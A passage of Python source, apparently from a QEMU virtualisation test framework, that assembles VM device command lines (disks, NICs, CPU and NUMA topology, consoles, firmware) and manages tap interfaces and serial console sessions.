!= 'no': # by default add cirrus devices.insert(StrDev('VGA-cirrus', cmdline=add_vga(vga), parent_bus={'aobject': 'pci.0'})) # When old scsi fmt is used, new device with lowest pci_addr is created devices.hook_fill_scsi_hbas(params) # Additional PCI RC/switch/bridges for pcic in params.objects("pci_controllers"): devs = devices.pcic_by_params(pcic, params.object_params(pcic)) devices.insert(devs) # -soundhw addresses are always the lowest after scsi soundhw = params.get("soundcards") if soundhw: parent_bus = _get_pci_bus(devices, params, "soundcard") if not devices.has_option('device') or soundhw == "all": for sndcard in ('AC97', 'ES1370', 'intel-hda'): # Add all dummy PCI devices and the actuall command below devices.insert(StrDev("SND-%s" % sndcard, parent_bus=parent_bus)) devices.insert(StrDev('SoundHW', cmdline="-soundhw %s" % soundhw)) else: # TODO: Use QDevices for this and set the addresses properly for sound_device in soundhw.split(","): if "hda" in sound_device: devices.insert(QDevice('intel-hda', parent_bus=parent_bus)) devices.insert(QDevice('hda-duplex')) elif sound_device in ["es1370", "ac97"]: devices.insert(QDevice(sound_device.upper(), parent_bus=parent_bus)) else: devices.insert(QDevice(sound_device, parent_bus=parent_bus)) # Add monitors catch_monitor = params.get("catch_monitor") if catch_monitor: if catch_monitor not in params.get("monitors"): params["monitors"] += " %s" % catch_monitor for monitor_name in params.objects("monitors"): monitor_params = params.object_params(monitor_name) monitor_filename = qemu_monitor.get_monitor_filename(vm, monitor_name) if monitor_params.get("monitor_type") == "qmp": cmd = add_qmp_monitor(devices, monitor_name, monitor_filename) devices.insert(StrDev('QMP-%s' % monitor_name, cmdline=cmd)) else: cmd = add_human_monitor(devices, monitor_name, monitor_filename) devices.insert(StrDev('HMP-%s' % monitor_name, cmdline=cmd)) # Add pvpanic device if params.get("enable_pvpanic") == "yes": if not devices.has_device("pvpanic"): logging.warn("pvpanic device is not supportted") else: pvpanic_params = {"backend": "pvpanic"} ioport = params.get("ioport_pvpanic") if ioport: pvpanic_params["ioport"] = ioport pvpanic_dev = qdevices.QCustomDevice("device", params=pvpanic_params, backend="backend") pvpanic_dev.set_param("id", utils_misc.generate_random_id(), dynamic=True) devices.insert(pvpanic_dev) # Add serial console redirection for serial in params.objects("serials"): serial_filename = vm.get_serial_console_filename(serial) cmd = add_serial(devices, serial, serial_filename) devices.insert(StrDev('SER-%s' % serial, cmdline=cmd)) # Add virtio_serial ports if not devices.has_device("virtconsole"): logging.warn("virt-console/serialport devices are not supported") else: no_virtio_serial_pcis = 0 no_virtio_ports = 0 virtio_port_spread = int(params.get('virtio_port_spread', 2)) parent_bus = _get_pci_bus(devices, params, "vio_port", True) for port_name in params.objects("virtio_ports"): port_params = params.object_params(port_name) bus = params.get('virtio_port_bus', False) if bus is not False: # Manually set bus bus = int(bus) elif not virtio_port_spread: # bus not specified, let qemu decide pass elif not no_virtio_ports % virtio_port_spread: # Add new vio-pci every n-th port. (Spread ports) bus = no_virtio_serial_pcis else: # Port not overriden, use last vio-pci bus = no_virtio_serial_pcis - 1 if bus < 0: # First bus bus = 0 # Add virtio_serial_pcis # Multiple virtio console devices can't share a # single virtio-serial-pci bus. So add a virtio-serial-pci bus # when the port is a virtio console. if (port_params.get('virtio_port_type') == 'console' and params.get('virtio_port_bus') is None): if params.get('machine_type').startswith("arm64-mmio"): dev = QDevice('virtio-serial-device') else: dev = QDevice( 'virtio-serial-pci', parent_bus=parent_bus) dev.set_param('id', 'virtio_serial_pci%d' % no_virtio_serial_pcis) devices.insert(dev) no_virtio_serial_pcis += 1 for i in range(no_virtio_serial_pcis, bus + 1): if params.get('machine_type').startswith("arm64-mmio"): dev = QDevice('virtio-serial-device') else: dev = QDevice( 'virtio-serial-pci', parent_bus=parent_bus) dev.set_param('id', 'virtio_serial_pci%d' % i) devices.insert(dev) no_virtio_serial_pcis += 1 if bus is not False: bus = "virtio_serial_pci%d.0" % bus # Add actual ports char_params = port_params.copy() backend = port_params.get("virtio_port_chardev", "socket") port_file = self.get_virtio_port_filename(port_name) char_params.update({"backend": backend, "server": "yes", "nowait": "yes", "name": port_name, "path": port_file}) char_dev = add_chardev(devices, char_params) virtio_port = add_virtio_port(devices, char_dev, port_params, port_name, bus, no_virtio_ports) devices.insert([char_dev, virtio_port]) no_virtio_ports += 1 # Add virtio-rng devices for virtio_rng in params.objects("virtio_rngs"): parent_bus = _get_pci_bus(devices, params, "vio_rng", True) virtio_rng_params = params.object_params(virtio_rng) add_virtio_rng(devices, virtio_rng_params, parent_bus) # Add logging devices.insert(StrDev('isa-log', cmdline=add_log_seabios(devices))) if params.get("anaconda_log", "no") == "yes": parent_bus = _get_pci_bus(devices, params, None, True) add_log_anaconda(devices, parent_bus) # Add USB controllers usbs = params.objects("usbs") if not devices.has_option("device"): usbs = ("oldusb",) # Old qemu, add only one controller '-usb' for usb_name in usbs: usb_params = params.object_params(usb_name) for dev in devices.usbc_by_params(usb_name, usb_params): devices.insert(dev) for iothread in params.get("iothreads", "").split(): cmd = "-object iothread," iothread_id = params.get("%s_id" % iothread.strip()) if not iothread_id: iothread_id = iothread.strip() cmd += "id=%s" % iothread_id devices.insert(StrDev("IOthread_%s" % iothread_id, cmdline=cmd)) # Add images (harddrives) for image_name in params.objects("images"): # FIXME: Use qemu_devices for handling indexes image_params = params.object_params(image_name) if image_params.get("boot_drive") == "no": continue if params.get("index_enable") == "yes": drive_index = image_params.get("drive_index") if drive_index: index = drive_index else: self.last_driver_index = get_index(self.last_driver_index) index = str(self.last_driver_index) self.last_driver_index += 1 else: index = None image_bootindex = None image_boot = image_params.get("image_boot") if not re.search("boot=on\|off", devices.get_help_text(), re.MULTILINE): if image_boot in ['yes', 'on', True]: image_bootindex = str(self.last_boot_index) self.last_boot_index += 1 image_boot = "unused" image_bootindex = image_params.get('bootindex', image_bootindex) else: if image_boot in ['yes', 'on', True]: if self.last_boot_index > 0: image_boot = False self.last_boot_index += 1 if ("virtio" in image_params.get("drive_format", "") or "virtio" in image_params.get("scsi_hba", "")): parent_bus = _get_pci_bus(devices, params, "disk", True) else: parent_bus = _get_pci_bus(devices, params, "disk", False) devs = devices.images_define_by_params(image_name, image_params, 'disk', index, image_boot, image_bootindex, pci_bus=parent_bus) for _ in devs: devices.insert(_) # Networking redirs = [] for redir_name in params.objects("redirs"): redir_params = params.object_params(redir_name) guest_port = int(redir_params.get("guest_port")) host_port = vm.redirs.get(guest_port) redirs += [(host_port, guest_port)] iov = 0 for nic in vm.virtnet: nic_params = params.object_params(nic.nic_name) if nic_params.get('pci_assignable') == "no": script = nic_params.get("nic_script") downscript = nic_params.get("nic_downscript") vhost = nic_params.get("vhost") vhostforce = nic_params.get("vhostforce") script_dir = data_dir.get_data_dir() if script: script = utils_misc.get_path(script_dir, script) if downscript: downscript = utils_misc.get_path(script_dir, downscript) # setup nic parameters as needed # add_netdev if netdev_id not set nic = vm.add_nic(**dict(nic)) # gather set values or None if unset vlan = int(nic.get('vlan')) netdev_id = nic.get('netdev_id') device_id = nic.get('device_id') mac = nic.get('mac') nic_model = nic.get("nic_model") nic_extra = nic.get("nic_extra_params") bootindex = nic_params.get("bootindex") netdev_extra = nic.get("netdev_extra_params") bootp = nic.get("bootp") add_queues = nic_params.get("add_queues", "no") == "yes" add_tapfd = nic_params.get("add_tapfd", "no") == "yes" add_vhostfd = nic_params.get("add_vhostfd", "no") == "yes" helper = nic_params.get("helper") tapfds_len = int(nic_params.get("tapfds_len", -1)) vhostfds_len = int(nic_params.get("vhostfds_len", -1)) if nic.get("tftp"): tftp = utils_misc.get_path(root_dir, nic.get("tftp")) else: tftp = None nettype = nic.get("nettype", "bridge") # don't force conversion add_nic()/add_net() optional parameter if 'tapfds' in nic: tapfds = nic.tapfds else: tapfds = None if 'vhostfds' in nic: vhostfds = nic.vhostfds else: vhostfds = None ifname = nic.get('ifname') queues = nic.get("queues", 1) # specify the number of MSI-X vectors that the card should have; # this option currently only affects virtio cards if nic_params.get("enable_msix_vectors") == "yes": if "vectors" in nic: vectors = nic.vectors else: vectors = 2 * int(queues) + 2 else: vectors = None # Setup some exclusive parameters if we are not running a # negative test. if nic_params.get("run_invalid_cmd_nic") != "yes": if vhostfds or tapfds or add_queues: helper = None if vhostfds or tapfds: add_queues = None add_vhostfd = None add_tapfd = None else: if vhostfds and vhostfds_len > -1: vhostfd_list = re.split(":", vhostfds) if vhostfds_len < len(vhostfd_list): vhostfds = ":".join(vhostfd_list[:vhostfds_len]) if tapfds and tapfds_len > -1: tapfd_list = re.split(":", tapfds) if tapfds_len < len(tapfd_list): tapfds = ":".join(tapfd_list[:tapfds_len]) # Handle the '-net nic' part virtio = "virtio" in nic_model parent_bus = _get_pci_bus(devices, params, "nic", virtio) add_nic(devices, vlan, nic_model, mac, device_id, netdev_id, nic_extra, nic_params.get("nic_pci_addr"), bootindex, queues, vectors, parent_bus, nic_params.get("ctrl_mac_addr")) # Handle the '-net tap' or '-net user' or '-netdev' part cmd, cmd_nd = add_net(devices, vlan, nettype, ifname, tftp, bootp, redirs, netdev_id, netdev_extra, tapfds, script, downscript, vhost, queues, vhostfds, add_queues, helper, add_tapfd, add_vhostfd, vhostforce) if vhostfds is None: vhostfds = "" if tapfds is None: tapfds = "" net_params = {'netdev_id': netdev_id, 'vhostfd': vhostfds.split(":")[0], 'vhostfds': vhostfds, 'tapfd': tapfds.split(":")[0], 'tapfds': tapfds, 'ifname': ifname, } for i, (host_port, guest_port) in enumerate(redirs): net_params["host_port%d" % i] = host_port net_params["guest_port%d" % i] = guest_port # TODO: Is every NIC a PCI device? devices.insert(StrDev("NET-%s" % nettype, cmdline=cmd, params=net_params, cmdline_nd=cmd_nd)) else: device_driver = nic_params.get("device_driver", "pci-assign") pci_id = vm.pa_pci_ids[iov] pci_id = ":".join(pci_id.split(":")[1:]) add_pcidevice(devices, pci_id, params=nic_params, device_driver=device_driver, pci_bus=pci_bus) iov += 1 # Add Memory devices add_memorys(devices, params) smp = int(params.get("smp", 0)) mem = int(params.get("mem", 0)) vcpu_maxcpus = int(params.get("vcpu_maxcpus", 0)) vcpu_sockets = int(params.get("vcpu_sockets", 0)) vcpu_cores = int(params.get("vcpu_cores", 0)) vcpu_threads = int(params.get("vcpu_threads", 0)) # Some versions of windows don't support more than 2 sockets of cpu, # here is a workaround to make all windows use only 2 sockets. if (vcpu_sockets and vcpu_sockets > 2 and params.get("os_type") == 'windows'): vcpu_sockets = 2 amd_vendor_string = params.get("amd_vendor_string") if not amd_vendor_string: amd_vendor_string = "AuthenticAMD" if amd_vendor_string == utils_misc.get_cpu_vendor(): # AMD cpu do not support multi threads. if params.get("test_negative_thread", "no") != "yes": vcpu_threads = 1 txt = "Set vcpu_threads to 1 for AMD cpu." logging.warn(txt) if smp == 0 or vcpu_sockets == 0: vcpu_cores = vcpu_cores or 1 vcpu_threads = vcpu_threads or 1 if smp and vcpu_sockets == 0: vcpu_sockets = int(smp / (vcpu_cores * vcpu_threads)) or 1 else: vcpu_sockets = vcpu_sockets or 1 if smp == 0: smp = vcpu_cores * vcpu_threads * vcpu_sockets else: if vcpu_cores == 0: vcpu_threads = vcpu_threads or 1 vcpu_cores = int(smp / (vcpu_sockets * vcpu_threads)) or 1 else: vcpu_threads = int(smp / (vcpu_cores * vcpu_sockets)) or 1 self.cpuinfo.smp = smp self.cpuinfo.maxcpus = vcpu_maxcpus or smp self.cpuinfo.cores = vcpu_cores self.cpuinfo.threads = vcpu_threads self.cpuinfo.sockets = vcpu_sockets devices.insert(StrDev('smp', cmdline=add_smp(devices))) numa_total_cpus = 0 numa_total_mem = 0 for numa_node in params.objects("guest_numa_nodes"): numa_params = params.object_params(numa_node) numa_mem = numa_params.get("numa_mem") numa_cpus = numa_params.get("numa_cpus") numa_nodeid = numa_params.get("numa_nodeid") numa_memdev = numa_params.get("numa_memdev") if numa_mem is not None: numa_total_mem += int(numa_mem) if numa_cpus is not None: numa_total_cpus += len(utils_misc.cpu_str_to_list(numa_cpus)) cmdline = add_numa_node(devices, numa_memdev, numa_mem, numa_cpus, numa_nodeid) devices.insert(StrDev('numa', cmdline=cmdline)) if params.get("numa_consistency_check_cpu_mem", "no") == "yes": if (numa_total_cpus > int(smp) or numa_total_mem > int(mem) or len(params.objects("guest_numa_nodes")) > int(smp)): logging.debug("-numa need %s vcpu and %s memory. It is not " "matched the -smp and -mem. The vcpu number " "from -smp is %s, and memory size from -mem is" " %s" % (numa_total_cpus, numa_total_mem, smp, mem)) raise virt_vm.VMDeviceError("The numa node cfg can not fit" " smp and memory cfg.") cpu_model = params.get("cpu_model") use_default_cpu_model = True if cpu_model: use_default_cpu_model = False for model in re.split(",", cpu_model): model = model.strip() if model not in support_cpu_model: continue cpu_model = model break else: cpu_model = model logging.error("Non existing CPU model %s will be passed " "to qemu (wrong config or negative test)", model) if use_default_cpu_model: cpu_model = params.get("default_cpu_model") if cpu_model: vendor = params.get("cpu_model_vendor") flags = params.get("cpu_model_flags") family = params.get("cpu_family") self.cpuinfo.model = cpu_model self.cpuinfo.vendor = vendor self.cpuinfo.flags = flags self.cpuinfo.family = family cmd = add_cpu_flags(devices, cpu_model, flags, vendor, family) devices.insert(StrDev('cpu', cmdline=cmd)) # Add cdroms for cdrom in params.objects("cdroms"): image_params = params.object_params(cdrom) # FIXME: Use qemu_devices for handling indexes if image_params.get("boot_drive") == "no": continue if params.get("index_enable") == "yes": drive_index = image_params.get("drive_index") if drive_index: index = drive_index else: self.last_driver_index = get_index(self.last_driver_index) index = str(self.last_driver_index) self.last_driver_index += 1 else: index = None image_bootindex = None image_boot = image_params.get("image_boot") if not re.search("boot=on\|off", devices.get_help_text(), re.MULTILINE): if image_boot in ['yes', 'on', True]: image_bootindex = str(self.last_boot_index) self.last_boot_index += 1 image_boot = "unused" image_bootindex = image_params.get( 'bootindex', image_bootindex) else: if image_boot in ['yes', 'on', True]: if self.last_boot_index > 0: image_boot = False self.last_boot_index += 1 iso = image_params.get("cdrom") if iso or image_params.get("cdrom_without_file") == "yes": if ("virtio" in image_params.get("driver_format", "") or "virtio" in image_params.get("scsi_hba", "")): parent_bus = _get_pci_bus(devices, params, "cdrom", True) else: parent_bus = _get_pci_bus(devices, params, "cdrom", False) devs = devices.cdroms_define_by_params(cdrom, image_params, 'cdrom', index, image_boot, image_bootindex, pci_bus=parent_bus) for _ in devs: devices.insert(_) # We may want to add {floppy_otps} parameter for -fda, -fdb # {fat:floppy:}/path/. However vvfat is not usually recommended. for floppy_name in params.objects('floppies'): image_params = params.object_params(floppy_name) # TODO: Unify image, cdrom, floppy params image_params['drive_format'] = 'floppy' image_params[ 'image_readonly'] = image_params.get("floppy_readonly", "no") # Use the absolute patch with floppies (pure *.vfd) image_params['image_raw_device'] = 'yes' image_params['image_name'] = utils_misc.get_path( data_dir.get_data_dir(), image_params["floppy_name"]) image_params['image_format'] = None devs = devices.images_define_by_params(floppy_name, image_params, media='') for _ in devs: devices.insert(_) # Add usb devices for usb_dev in params.objects("usb_devices"): usb_dev_params = params.object_params(usb_dev) devices.insert(devices.usb_by_params(usb_dev, usb_dev_params)) tftp = params.get("tftp") if tftp: tftp = utils_misc.get_path(data_dir.get_data_dir(), tftp) devices.insert(StrDev('tftp', cmdline=add_tftp(devices, tftp))) bootp = params.get("bootp") if bootp: devices.insert(StrDev('bootp', cmdline=add_bootp(devices, bootp))) kernel = params.get("kernel") if kernel: kernel = utils_misc.get_path(data_dir.get_data_dir(), kernel) devices.insert(StrDev('kernel', cmdline=add_kernel(kernel))) kernel_params = params.get("kernel_params") if kernel_params: cmd = add_kernel_cmdline(kernel_params) devices.insert(StrDev('kernel-params', cmdline=cmd)) initrd = params.get("initrd") if initrd: initrd = utils_misc.get_path(data_dir.get_data_dir(), initrd) devices.insert(StrDev('initrd', cmdline=add_initrd(initrd))) for host_port, guest_port in redirs: cmd = add_tcp_redir(devices, host_port, guest_port) devices.insert(StrDev('tcp-redir', cmdline=cmd)) cmd = "" if params.get("display") == "vnc": vnc_extra_params = params.get("vnc_extra_params") vnc_password = params.get("vnc_password", "no") cmd += add_vnc(self.vnc_port, vnc_password, vnc_extra_params) elif params.get("display") == "sdl": cmd += add_sdl(devices) elif params.get("display") == "nographic": cmd += add_nographic() elif params.get("display") == "spice": if params.get("rhel5_spice"): spice_params = params.get("spice_params") cmd += add_spice_rhel5(devices, spice_params) else: spice_keys = ( "spice_port", "spice_password", "spice_addr", "spice_ssl", "spice_tls_port", "spice_tls_ciphers", "spice_gen_x509", "spice_x509_dir", "spice_x509_prefix", "spice_x509_key_file", "spice_x509_cacert_file", "spice_x509_key_password", "spice_x509_secure", "spice_x509_cacert_subj", "spice_x509_server_subj", "spice_secure_channels", "spice_image_compression", "spice_jpeg_wan_compression", "spice_zlib_glz_wan_compression", "spice_streaming_video", "spice_agent_mouse", "spice_playback_compression", "spice_ipv4", "spice_ipv6", "spice_x509_cert_file", "disable_copy_paste", "spice_seamless_migration", "listening_addr" ) for skey in spice_keys: value = params.get(skey, None) if value: self.spice_options[skey] = value cmd += add_spice() if cmd: devices.insert(StrDev('display', cmdline=cmd)) if params.get("uuid") == "random": cmd = add_uuid(vm.uuid) devices.insert(StrDev('uuid', cmdline=cmd)) elif params.get("uuid"): cmd = add_uuid(params.get("uuid")) devices.insert(StrDev('uuid', cmdline=cmd)) if params.get("testdev") == "yes": cmd = add_testdev(devices, vm.get_testlog_filename()) devices.insert(StrDev('testdev', cmdline=cmd)) if params.get("isa_debugexit") == "yes": iobase = params.get("isa_debugexit_iobase") iosize = params.get("isa_debugexit_iosize") cmd = add_isa_debug_exit(devices, iobase, iosize) devices.insert(StrDev('isa_debugexit', cmdline=cmd)) if params.get("disable_hpet") == "yes": devices.insert(StrDev('nohpet', cmdline=add_no_hpet(devices))) devices.insert(StrDev('rtc', cmdline=add_rtc(devices))) if devices.has_option("boot"): boot_order = params.get("boot_order", "cdn") boot_once = params.get("boot_once", "c") boot_menu = params.get("boot_menu", "off") boot_strict = params.get("boot_strict", "off") cmd = add_boot( devices, boot_order, boot_once, boot_menu, boot_strict) devices.insert(StrDev('bootmenu', cmdline=cmd)) p9_export_dir = params.get("9p_export_dir") if p9_export_dir: cmd = " -fsdev" p9_fs_driver = params.get("9p_fs_driver") if p9_fs_driver == "handle": cmd += " handle,id=local1,path=" + p9_export_dir elif p9_fs_driver == "proxy": cmd += " proxy,id=local1,socket=" else: p9_fs_driver = "local" cmd += " local,id=local1,path=" + p9_export_dir # security model is needed only for local fs driver if p9_fs_driver == "local": p9_security_model = params.get("9p_security_model") if not p9_security_model: p9_security_model = "none" cmd += ",security_model=" + p9_security_model elif p9_fs_driver == "proxy": p9_socket_name = params.get("9p_socket_name") if not p9_socket_name: raise virt_vm.VMImageMissingError("Socket name not " "defined") cmd += p9_socket_name p9_immediate_writeout = params.get("9p_immediate_writeout") if p9_immediate_writeout == "yes": cmd += ",writeout=immediate" p9_readonly = params.get("9p_readonly") if p9_readonly == "yes": cmd += ",readonly" devices.insert(StrDev('fsdev', cmdline=cmd)) parent_bus = _get_pci_bus(devices, params, 'vio_9p', True) dev = QDevice('virtio-9p-pci', parent_bus=parent_bus) dev.set_param('fsdev', 'local1') dev.set_param('mount_tag', 'autotest_tag') devices.insert(dev) extra_params = params.get("extra_params") if extra_params: devices.insert(StrDev('extra', cmdline=extra_params)) bios_path = params.get("bios_path") if bios_path: devices.insert(StrDev('bios', cmdline="-bios %s" % bios_path)) if params.get('ovmf_path'): if not os.path.exists(params['ovmf_path']): raise exceptions.TestError("The OVMF path is not exist. Maybe you" " need to install related packages.") current_data_dir = data_dir.get_data_dir() ovmf_code_filename = params["ovmf_code_filename"] ovmf_code_path = os.path.join(params['ovmf_path'], ovmf_code_filename) ovmf_vars_filename = params["ovmf_vars_filename"] ovmf_vars_src_path = os.path.join(params['ovmf_path'], ovmf_vars_filename) # To ignore the influence from backends path = storage.get_image_filename_filesytem(params, current_data_dir) ovmf_vars_path = "%s.fd" % path dev = qdevices.QDrive('ovmf_code', use_device=False) dev.set_param("if", "pflash") dev.set_param("format", "raw") dev.set_param("readonly", "on") dev.set_param("file", ovmf_code_path) devices.insert(dev) if (not os.path.exists(ovmf_vars_path) or params.get("restore_ovmf_vars") == "yse"): cp_cmd = "cp -f %s %s" % (ovmf_vars_src_path, ovmf_vars_path) process.system(cp_cmd) dev = qdevices.QDrive('ovmf_vars', use_device=False) dev.set_param("if", "pflash") dev.set_param("format", "raw") dev.set_param("file", ovmf_vars_path) devices.insert(dev) disable_kvm_option = "" if (devices.has_option("no-kvm")): disable_kvm_option = "-no-kvm" enable_kvm_option = "" if (devices.has_option("enable-kvm")): enable_kvm_option = "-enable-kvm" if (params.get("disable_kvm", "no") == "yes"): params["enable_kvm"] = "no" if (params.get("enable_kvm", "yes") == "no"): devices.insert(StrDev('nokvm', cmdline=disable_kvm_option)) logging.debug("qemu will run in TCG mode") else: devices.insert(StrDev('kvm', cmdline=enable_kvm_option)) logging.debug("qemu will run in KVM mode") self.no_shutdown = (devices.has_option("no-shutdown") and params.get("disable_shutdown", "no") == "yes") if self.no_shutdown: devices.insert(StrDev('noshutdown', cmdline="-no-shutdown")) user_runas = params.get("user_runas") if devices.has_option("runas") and user_runas: devices.insert(StrDev('runas', cmdline="-runas %s" % user_runas)) if params.get("enable_sga") == "yes": devices.insert(StrDev('sga', cmdline=add_sga(devices))) if params.get("smartcard", "no") == "yes": sc_chardev = params.get("smartcard_chardev") sc_id = params.get("smartcard_id") devices.insert(StrDev('smartcard', cmdline=add_smartcard(sc_chardev, sc_id))) if params.get("enable_watchdog", "no") == "yes": cmd = add_watchdog(devices, params.get("watchdog_device_type", None), params.get("watchdog_action", "reset")) devices.insert(StrDev('watchdog', cmdline=cmd)) option_roms = params.get("option_roms") if option_roms: cmd = "" for opt_rom in option_roms.split(): cmd += add_option_rom(devices, opt_rom) if cmd: devices.insert(StrDev('ROM', cmdline=cmd)) for balloon_device in params.objects("balloon"): params_balloon = params.object_params(balloon_device) balloon_devid = params_balloon.get("balloon_dev_devid") balloon_bus = None use_ofmt = params_balloon.get("balloon_use_old_format", "no") == "yes" if params_balloon.get("balloon_dev_add_bus") == "yes": balloon_bus = _get_pci_bus(devices, params, 'balloon', True) add_balloon(devices, devid=balloon_devid, bus=balloon_bus, use_old_format=use_ofmt) # Add qemu options if params.get("msg_timestamp"): attr_info = ["timestamp", params["msg_timestamp"], bool] add_qemu_option(devices, "msg", [attr_info]) if params.get("realtime_mlock"): attr_info = ["mlock", params["realtime_mlock"], bool] add_qemu_option(devices, "realtime", [attr_info]) if params.get("keyboard_layout"): attr_info = [None, params["keyboard_layout"], None] add_qemu_option(devices, "k", [attr_info]) # Add disable_legacy and disable_modern options virtio_pci_devices = ["virtio-net-pci", "virtio-blk-pci", "virtio-scsi-pci", "virtio-balloon-pci", "virtio-serial-pci", "virtio-rng-pci"] for device in devices: dev_type = device.get_param("driver") # Currently virtio1.0 behaviour on latest RHEL.7.2/RHEL.7.3 # qemu versions is default, we don't need to specify the # disable-legacy and disable-modern options explicitly. set_disable_legacy = params.get("set_disable_legacy", "no") set_disable_modern = params.get("set_disable_modern", "no") if dev_type in virtio_pci_devices: if set_disable_legacy == "yes": add_disable_legacy(devices, device, dev_type) if set_disable_modern == "yes": add_disable_modern(devices, device, dev_type) return devices def _nic_tap_add_helper(self, nic): if nic.nettype == 'macvtap': macvtap_mode = self.params.get("macvtap_mode", "vepa") nic.tapfds = utils_net.create_and_open_macvtap(nic.ifname, macvtap_mode, nic.queues, nic.netdst, nic.mac) else: nic.tapfds = utils_net.open_tap("/dev/net/tun", nic.ifname, queues=nic.queues, vnet_hdr=True) logging.debug("Adding VM %s NIC ifname %s to bridge %s", self.name, nic.ifname, nic.netdst) if nic.nettype == 'bridge': utils_net.add_to_bridge(nic.ifname, nic.netdst) utils_net.bring_up_ifname(nic.ifname) def _nic_tap_remove_helper(self, nic): try: if nic.nettype == 'macvtap': logging.info("Remove macvtap ifname %s", nic.ifname) tap = utils_net.Macvtap(nic.ifname) tap.delete() else: logging.debug("Removing VM %s NIC ifname %s from bridge %s", self.name, nic.ifname, nic.netdst) if nic.tapfds: for i in nic.tapfds.split(':'): os.close(int(i)) if nic.vhostfds: for i in nic.vhostfds.split(':'): os.close(int(i)) if nic.ifname and nic.ifname not in utils_net.get_net_if(): _, br_name = utils_net.find_current_bridge(nic.ifname) if br_name == nic.netdst: utils_net.del_from_bridge(nic.ifname, nic.netdst) except TypeError: pass def create_serial_console(self): """ Establish a session with the serial console. Let's consider the first serial port as serial console. Note: requires a version of netcat that supports -U """ try: tmp_serial = self.serial_ports[0] except IndexError: raise virt_vm.VMConfigMissingError(self.name, "serial") log_name = "serial-%s-%s.log" % (tmp_serial, self.name) self.serial_console_log = os.path.join(utils_misc.get_log_file_dir(), log_name) self.serial_console = aexpect.ShellSession( "nc -U %s" % self.get_serial_console_filename(tmp_serial), auto_close=False, output_func=utils_misc.log_line, output_params=(log_name,), prompt=self.params.get("shell_prompt", "[\#\$]")) del tmp_serial def create_virtio_console(self): """ Establish a session with the serial console. """ for port in self.virtio_ports: if isinstance(port, qemu_virtio_port.VirtioConsole): logfile = "serial-%s-%s.log" % (port.name, self.name) socat_cmd = "nc -U %s" % port.hostfile self.virtio_console = aexpect.ShellSession( socat_cmd, auto_close=False, output_func=utils_misc.log_line, output_params=(logfile,), prompt=self.params.get("shell_prompt", "[\#\$]")) return if self.virtio_ports: logging.warning( "No virtio console created in VM. Virtio ports: %s", self.virtio_ports) self.virtio_console = None def update_system_dependent_devs(self): # Networking devices = self.devices params = self.params redirs = [] for redir_name in params.objects("redirs"): redir_params = params.object_params(redir_name) guest_port = int(redir_params.get("guest_port")) host_port = self.redirs.get(guest_port) redirs += [(host_port, guest_port)] for nic in self.virtnet: nic_params = params.object_params(nic.nic_name) if nic_params.get('pci_assignable') == "no": script = nic_params.get("nic_script") downscript = nic_params.get("nic_downscript") script_dir = data_dir.get_data_dir() if script: script = utils_misc.get_path(script_dir, script) if downscript: downscript = utils_misc.get_path(script_dir, downscript) # setup nic parameters as needed # add_netdev if netdev_id not set nic = self.add_nic(**dict(nic)) # gather set values or None if unset netdev_id = nic.get('netdev_id') # don't force conversion add_nic()/add_net() optional # parameter if 'tapfds' in nic: tapfds = nic.tapfds else: tapfds = "" if 'vhostfds' in nic: vhostfds = nic.vhostfds else: vhostfds = "" ifname = nic.get('ifname') # specify the number of MSI-X vectors that the card should # have this option currently only affects virtio cards net_params = {'netdev_id': netdev_id, 'vhostfd': vhostfds.split(":")[0], 'vhostfds': vhostfds, 'tapfd': tapfds.split(":")[0], 'tapfds': tapfds, 'ifname': ifname, } for i, (host_port, guest_port) in enumerate(redirs): net_params["host_port%d" % i] = host_port net_params["guest_port%d" % i] = guest_port # TODO: Is every NIC a PCI device? devs = devices.get_by_params({'netdev_id': netdev_id}) # TODO: Is every NIC a PCI device? if len(devs) > 1: logging.error("There are %d devices with netdev_id %s." " This shouldn't happens." % (len(devs), netdev_id)) devs[0].params.update(net_params) def update_vga_global_default(self, params, migrate=None): """ Update VGA global default settings :param params: dict for create vm :param migrate: is vm create for migration """ if not self.devices: return vga_mapping = {'VGA-std': 'VGA', 'VGA-cirrus': 'cirrus-vga', 'VGA-qxl': 'qxl-vga', 'qxl': 'qxl', 'VGA-none': None} for device in self.devices: if not isinstance(device, qdevices.QStringDevice): continue vga_type = vga_mapping.get(device.type) if not vga_type: continue help_cmd = '%s -device %s,\? 2>&1' % (self.qemu_binary, vga_type) help_info = process.system_output(help_cmd, shell=True, verbose=False) for pro in re.findall(r'%s.(\w+)=' % vga_type, help_info): key = [vga_type.lower(), pro] if migrate: key.append('dst') key = '_'.join(key) val = params.get(key) if not val: continue qdev = qdevices.QGlobal(vga_type, pro, val) self.devices.insert(qdev) @error_context.context_aware def create(self, name=None, params=None, root_dir=None, timeout=120, migration_mode=None, migration_exec_cmd=None, migration_fd=None, mac_source=None): """ Start the VM by running a qemu command. All parameters are optional. If name, params or root_dir are not supplied, the respective values stored as class attributes are used. :param name: The name of the object :param params: A dict containing VM params :param root_dir: Base directory for relative filenames :param migration_mode: If supplied, start VM for incoming migration using this protocol (either 'rdma', 'x-rdma', 'rdma', 'tcp', 'unix' or 'exec') :param migration_exec_cmd: Command to embed in '-incoming "exec: ..."' (e.g. 'gzip -c -d filename') if migration_mode is 'exec' default to listening on a random TCP port :param migration_fd: Open descriptor from machine should migrate. :param mac_source: A VM object from which to copy MAC addresses. If not specified, new addresses will be generated. :raise VMCreateError: If qemu terminates unexpectedly :raise VMKVMInitError: If KVM initialization fails :raise VMHugePageError: If hugepage initialization fails :raise VMImageMissingError: If a CD image is missing :raise VMHashMismatchError: If a CD image hash has doesn't match the expected hash :raise VMBadPATypeError: If an unsupported PCI assignment type is requested :raise VMPAError: If no PCI assignable devices could be assigned :raise TAPCreationError: If fail to create tap fd :raise BRAddIfError: If fail to add a tap to a bridge :raise TAPBringUpError: If fail to bring up a tap :raise PrivateBridgeError: If fail to bring the private bridge """ error_context.context("creating '%s'" % self.name) self.destroy(free_mac_addresses=False) if name is not None: self.name = name self.devices = None # Representation changed if params is not None: self.params = params self.devices = None # Representation changed if root_dir is not None: self.root_dir = root_dir self.devices = None # Representation changed name = self.name params = self.params root_dir = self.root_dir # Verify the md5sum of the ISO images for cdrom in params.objects("cdroms"): cdrom_params = params.object_params(cdrom) if cdrom_params.get("enable_gluster") == "yes": continue if cdrom_params.get("enable_ceph") == "yes": continue iso = cdrom_params.get("cdrom") if iso: iso = utils_misc.get_path(data_dir.get_data_dir(), iso) if not os.path.exists(iso): raise virt_vm.VMImageMissingError(iso) compare = False if cdrom_params.get("skip_hash", "no") == "yes": logging.debug("Skipping hash comparison") elif cdrom_params.get("md5sum_1m"): logging.debug("Comparing expected MD5 sum with MD5 